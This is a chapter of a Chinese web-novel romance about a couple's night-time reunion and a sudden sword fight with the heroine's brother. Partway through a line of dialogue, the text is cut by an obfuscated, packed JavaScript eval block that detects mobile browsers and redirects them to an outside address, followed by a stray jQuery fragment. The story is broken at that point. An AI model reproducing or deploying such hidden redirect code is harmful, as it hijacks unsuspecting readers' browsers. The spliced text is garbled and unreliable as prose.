16. 鹧鸪天(十六)
作品:《养的狐狸成了权臣怎么办?》 原来是这样,之前留给他的灵脉起了作用。
如果她刚穿越过来的时候,宴岚也立马破结界而出,想必重伤不假,但自己的灵脉护住了他的命。
宋嘉禾回过神,听着他云淡风轻的语气,蓦然笑了,“谢谢你。”
男人双眸微眯,搂着少女腰际的双臂不自觉收紧。
“干嘛!你又要把我勒死了!”
少女转过半边身子拍了拍他的手臂,一脸娇嗔。
宴岚凑近她耳边有意无意地轻蹭,“为什么谢我?”
宋嘉禾被他呼出的气息搔的痒痒,抬手将人掰了回来,正色道,“他们彼此顾忌,没人敢动手,但是你敢。而且……是为了我去动手的不是吗?”
见他不语,少女只当是他默认了,坏笑道,“放心吧老公,咱俩现在结婚了,我会替你保密的。”
根据这些回忆和她所经历的事情整合到一起,她也猜到了大概发生了什么。
应该就是炔所说的那件事,是另外一个地方的人夺了她的投胎位次,但这三界的神秘讯息究竟是谁给的?还如此直言杀了对方让自己回来。
“老恭?是谁?”
男人听见这声忽然周遭一冷。
少女正想着,感受到腰间的力道再次收紧,她收回思绪,眸子咕噜咕噜转了转,语气欢脱,“他啊,其实就是我在另一个世界的夫君,他对我很……唔……”
剩下未说完的话全部被硬生生堵了回去。
这次的吻来的汹涌激烈,带着惩罚的意味,亲的她的快要昏厥了,宴岚才缓缓放开她,又抬手抚上少女水润而微肿的唇畔,“他对你怎么?很好?”
宋嘉禾张着小口,微微喘着气,一把拍开他的手,杏眼圆睁,“你是狗啊!快把我嘴啃烂了都!”
“嗯,我是狗。”宴岚说着,那双明亮的琥珀瞳里炽火不减半分,又轻轻在她脖颈咬了一口,“你的。”
反应过来他在说什么,宋嘉禾嘁了一声,“油嘴滑舌,这种话要适当说,说多了就显得虚伪!”
“他对你说过很多次?”
男人的眸色蓦地沉了下来,有些不敢确定她刚刚说的究竟是在逗他玩还是真的。
宋嘉禾只觉得浑身一冷,咯咯笑了两声,弯着眉眼揉了揉他的脸,“笨蛋,老公说的就是你呀!老大的老,公婆的公,就是夫君的意思。”
见他半信半疑的样子,少女又环着他的脖子撒起娇来,“真的……没骗你,你可以叫我老婆。”
两人面面相觑了一阵子。
“嗯,老婆。”宴岚忽然小声应了一声,脸色看起来有点不对劲,“你别乱动了。”
“什么?!没听清,大点声。”宋嘉禾环着他的脖子贱兮兮地说道,脸侧在他肩膀没发现这变幻的脸色。
“老婆。”男人又字正腔圆地喊了一声。
“真乖!还有更多的,以后呢……你也可以叫我宝宝,宝贝,亲爱的……”
少女正兴高采烈地一一列举着,宴岚忽然将她轻轻推开,唰一下站了起来,耳根还红的厉害。
宋嘉禾一脸懵,抬头看他,终于注意到他奇怪的神色,见他整个人红的有些怪异。
又立马踮起脚,摸了摸他的脖子脸额头,热是热,也没到滚烫的地步……
安静,好安静,两人大眼瞪小眼。
宋嘉禾忽然捧腹大笑,“哈哈哈!你该不会是……”
宴岚眼神躲闪一二,弱弱道,“不是。”
“就是!看你这脑袋里一天天都什么东西!”宋嘉禾抬手轻轻戳了戳他脑门,宴岚一动不动,任她处置。
“来吹吹风啊,没事儿,我也有点热。”宋嘉禾仍笑着,自然而然拉过他的手向殿外走去,“看来你虽然变了不少,但害羞的样子一如既往啊,那之前没有相认的时候呢,你总爱脸红是装的还是?”
“自然是真的。”
宴岚不动声色瞥了她一眼,随她坐在殿外台阶上。
宋嘉禾双手撑地,目光眺望着远空的皎月,语气忽然平静了下来,“是真的,那就好……”
还不等宴岚问他是何意,少女又双手抱膝,侧头看向他,“对了,我离开这一阵子人间已经到了夏季,这几个月你都在做什么呀?帝后俩没再来找我?”
宴岚看着她方才若有所思的模样,心下迟疑,但还是先回答了她的问题,“找了。”
话音刚落,又紧接了一句,“到府门口又走了。”
“先说你干嘛了,又偷偷跳过问题!”
宋嘉禾握起拳头不轻不重地攮了他一下。
宴岚笑着包住她的手,紧紧攥在掌心,“嗯,我先是去参加了春闱,被皇帝特批为翰林院修撰,等你的这几个月里一直在宫中做事。”
“修撰?你该不会真考上状元了吧?”
宋嘉禾往他身边凑了凑,一脸惊奇道。
“我看起来很笨的样子吗?”
宴岚笑了笑,从怀中掏出一个东西递给她。
少女定睛一看,是一只银簪,上面还刻着只蝴蝶,双翅在冷幽月光下泛着细碎的光芒,翩翩欲飞。
宋嘉禾立马呼吸一滞,眨着眼睫接过那只簪子,比对着月光细细打量起来,“原来你一直都留着?”
这只蝴蝶簪是她当初在青丘谷初醒时,准备好送给宴岚的第一个礼物,但是他当时没收。
她就将簪子收在了盒子里放着,消散前根本想不到这些小物件,没想到居然被他搜刮了起来。
“不只这个,你送给我的所有东西,我都留着。”
宴岚忽然从台阶上起来,半蹲在她身边,眼神灼灼。
宋嘉禾不明所以,“坐着说呀,蹲着干嘛?”
“虽然你不记恨我,但……宁宁,我希望你能给我一次机会,让我重新追求你。”
宋嘉禾静静盯着他看了片刻,忽然噗嗤一声笑了出来,“夫君,咱们亲都亲了,你现在说要追我?”
“之前是我不识好歹,让你一个人遭受了那么多非议,这次换我来,求你,再给我一次机会。”
宴岚拉过她的手,仰着头认认真真一字一句道。
宋嘉禾单手撑额,含笑望着他,想起来他说的是什么。
那时她记忆全无,真的以为宴岚是她唯一的亲人。
她没羞没臊的像块狗皮膏药,赖在他身边死缠烂打,周围所有人都说她痴心妄想,说她心比天高。
但她完全对这些闲言碎语视而不见,因为她看得出宴岚虽冷淡,高傲,有时候还毒舌,但并不讨厌她。
所以她只以为是自己之前做了什么不好的事才导致她的夫君现在这副态度,于是便锲而不舍地对他好。
她越缠着他,闲言碎语就越来越大声。
宴岚每次都会让那些人闭嘴,但人的成见和看法一旦成形,一时之间便很难改变,尤其是在宴岚对她的回应不那么明显的状况下,外人更看不出来了。
“好。”少女点了点头,“你想怎么追?”
宴岚抓着她的手摩挲好一阵,最后轻轻放开了她,“就像我曾经对你那样,晾着我。”
宋嘉禾:“???”
她盯着男人慢慢收回的手,努力压住嘴角的笑,轻咳两声,故作严肃道,“那我说什么你都听?”
“嗯。”宴岚点了点头,一双美眸死死锁住她。
“那我命令你,过来抱着我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217515|197242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
男人愣在原地,宋嘉禾声音拔好了些,“不是说要听我的话吗?过来呀!我有点冷,给我取暖!”
宴岚机械地伸出双臂,宋嘉禾一把将他拽过来,勾住他的脖子,“嘁,装什么装?还喜欢玩这种剧本。”
“我没有……”
听着这声弱弱的反驳,少女转着眸子想到些什么,又一把推开他,缓缓站起身,语调骤冷,“如你所愿,从今天开始,你之前怎么对我的,我就怎么对你。”
宋嘉禾抱着胸偷偷瞥了他一眼,果然见他有些失落地垂下眸子,但还是抿着唇一言不发。
“哎呀,好了好了,逗你玩呢,我哪有你那么薄情?反正你之前也是喜欢我的,只是反应有点慢而已,可以理解,走走走睡觉。”
少女啧了一声,似是无奈地摇摇头,走下台阶抱上他的胳膊将人往里拽,“何必做这些虚的?你真是太爱胡思乱想了,哪有提这样折磨自己的要求的。”
“宁宁。”宴岚反客为主,攥紧她的手腕。
“啊?说。”
宋嘉禾回身瞄了眼他的神色,停在原地等他。
“我可以问你,你是何时喜欢上我的吗。”
男人眸光幽深,更有一股毒蛇窥伺之意,顺着她的眼鼻嘴辗转流连。
宋嘉禾咬了咬唇,看起来有些难为情的样子,她一会一会扫他一眼,讪讪地笑了笑,“你猜?”
宴岚双眸微眯,“我捡你回来,初醒之时?”
少女伸出手有意无意摩挲着唇畔,摇了摇头。
男人眼神一暗,“那是何时?”
“你光问我,那你呢?”
宋嘉禾一把抽回手,像是突然来了兴致。
宴岚忽而轻笑一声,“见到你的第一眼。”
宋嘉禾一愣,环着胸的手臂渐渐放了下来,“青丘谷的时候?”
还没等下一句话说出口,院中忽闪一缕白光。
宴岚眼神一凌,立刻转身将人护在身后,宋嘉禾也一脸疑惑,向前走了两步朝前望去。
一袭青袍之人正独自站在不远处,眼神冷的吓人。
宋嘉禾定睛一看,挑了挑眉,“哥哥?你怎么下来的?”
炔听到这声呼唤,冷若冰霜的眉眼消解一瞬,朝她勾了勾唇,“哥哥忘了,还有件事没完成。”
下一秒,他手中渐渐化出一把通体金光的长剑,一步一步向二人走来。
宋嘉禾蹙眉,“哥哥,你这是做什么?”
宴岚冷笑一声,轻轻将人推到一旁,周遭气息瞬间凝结,双手间慢慢浮上两团幽紫的光芒。
“你还好意思来?”
宴岚的声音沉的快要滴出水来,手中的光芒愈甚。
“当然要来,不然谁来取你的狗命?”
炔眯着眸子,长剑破空而来,直取对方喉头。
两道身影迅速纠缠在一起,小院中,树叶被震得漫天纷飞,瓦檐都在止不住的颤抖摇晃。
宋嘉禾神色一变,这是什么情况?!
炔和宴岚有什么过节吗?没有吧,不管是前世还是这辈子,她的脑海里这两人从头到尾都不认识啊,连个招呼都没打过,八竿子打不着的俩人……
怎么一见面就跟血海仇人似的大打出手?
不会是在她转世到现代星际里发生了什么了不得的事情吧?
不可能啊!她走后结界一直都在,怎么会……
刚想到此处,少女忽然觉得喉头涌上一股腥甜。
“噗嗤——”
鲜血自口中喷涌而出。
这边的动静同时惊扰到了两人。
“宁宁!”
“妹妹!”

